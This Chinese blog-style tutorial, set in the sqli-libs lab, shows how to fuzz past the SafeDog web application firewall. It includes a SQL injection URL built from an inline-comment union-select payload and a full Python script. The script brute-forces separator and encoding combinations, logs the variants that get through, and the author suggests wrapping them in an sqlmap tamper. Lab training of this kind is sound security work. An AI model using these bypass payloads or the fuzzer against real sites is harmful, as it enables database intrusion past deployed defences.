题记
Fuzz是安全测试的一种方法,也是极为重要的一种手段!当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!最近两天我会对fuzz测试进行介绍!主要内容是Fuzz脚本编写和Fuzz思路!如果你想,这里会有无数种姿势让你bypass!
正文
环境准备
测试靶场:sqli-libs
安全软件:某狗最新版
首先安装配置安全狗,在此之前需要安装好phpstudy,和配置sqli-libs靶场,在此便不赘述!
把http防护打开,其它防护都关掉,以免影响我们测试!
因为我们进行本地测试,需要发送大量请求!这种情况会触发狗狗的cc防护和ddos防护,所以为了我们能大量得到payload!这里我们关闭IP黑名单和爬虫黑名单!
可以看到http防护已经全开!
FUZZ思路
我们的思路其实很简单!就是利用特殊字符和数字字母,特殊编码的字符遍历组合在一起进行模糊测试!这次我们利用内联注释来进行基础来进行fuzz,首先测试一下使用内联注释会不会被狗给拦了!
语句:
http://192.168.23.149/sqli/Less-1/?id=id=1/*!union*//*!select*/1,2,3
这时候还是会被狗拦了!所以我们可以发现安全狗对一般的注入还是有一定防护能力的!
接下来贴上我们的FUZZ脚本
# ! -*- encoding:utf-8 -*-
# python3
#比较全
# fuzz_zs = ['/*','*/','/*!','?','*','=','`','~','!','@','%','.','-','+','|','%00'.'%20' ,'%09', '%0a', '%0b', '%0c', '%0d' ,
# '%a0' ,'/**/']
# fuzz_sz = ['0','1','2','3','4','5','6','7','8','9']
# fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j","%0k","%0l","%0m","%0n",
# "%0o","%0p","%0q","%0r","%0s","%0t","%0u","%0v","%0w","%0x","%0y","%0z"]
import requests
#精简
fuzz_zs = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00']
fuzz_sz = ['', ' ']
fuzz_ch = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"]
fuzz = fuzz_zs + fuzz_sz + fuzz_ch
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}
url_start = "http://192.168.23.149/sqli/Less-1/?id=1"
for a in fuzz:
for b in fuzz:
for c in fuzz:
for d in fuzz:
exp = "/*!union" + a + b + c + d + "select*/ 1,2,3"
url = url_start + exp
res = requests.get(url=url, headers=headers)
print("Now URL:" + url)
if "Login" in res.text:
print("Find Fuzz bypass:" + url)
with open("H:ip.txt", 'a', encoding='utf-8') as r:
r.write(url + "\n")
这里我们使用精简的payload组合!因为组合起来真是太多了,我计算了一下请看图!
对!就是3个亿组合,这里才五层嵌套!我就跑了几秒!已经找到近千种bybass姿势了!
我们随便找一个!进行测试!
发现成功bypass!
接下来你可以继续手工注入!更方便的是你可以直接写一个sqlmap的tamper自动化注入~
后记
FUZZ作为一种重要的漏洞挖掘姿势!今天利用一个实例以及脚本编写对其进行介绍,这里你可以用成千上万种姿势绕过常规安全软件的软waf!下次我会就FUZZ测试流程以及FUZZ工具使用进行介绍!欢迎各位前来斧正!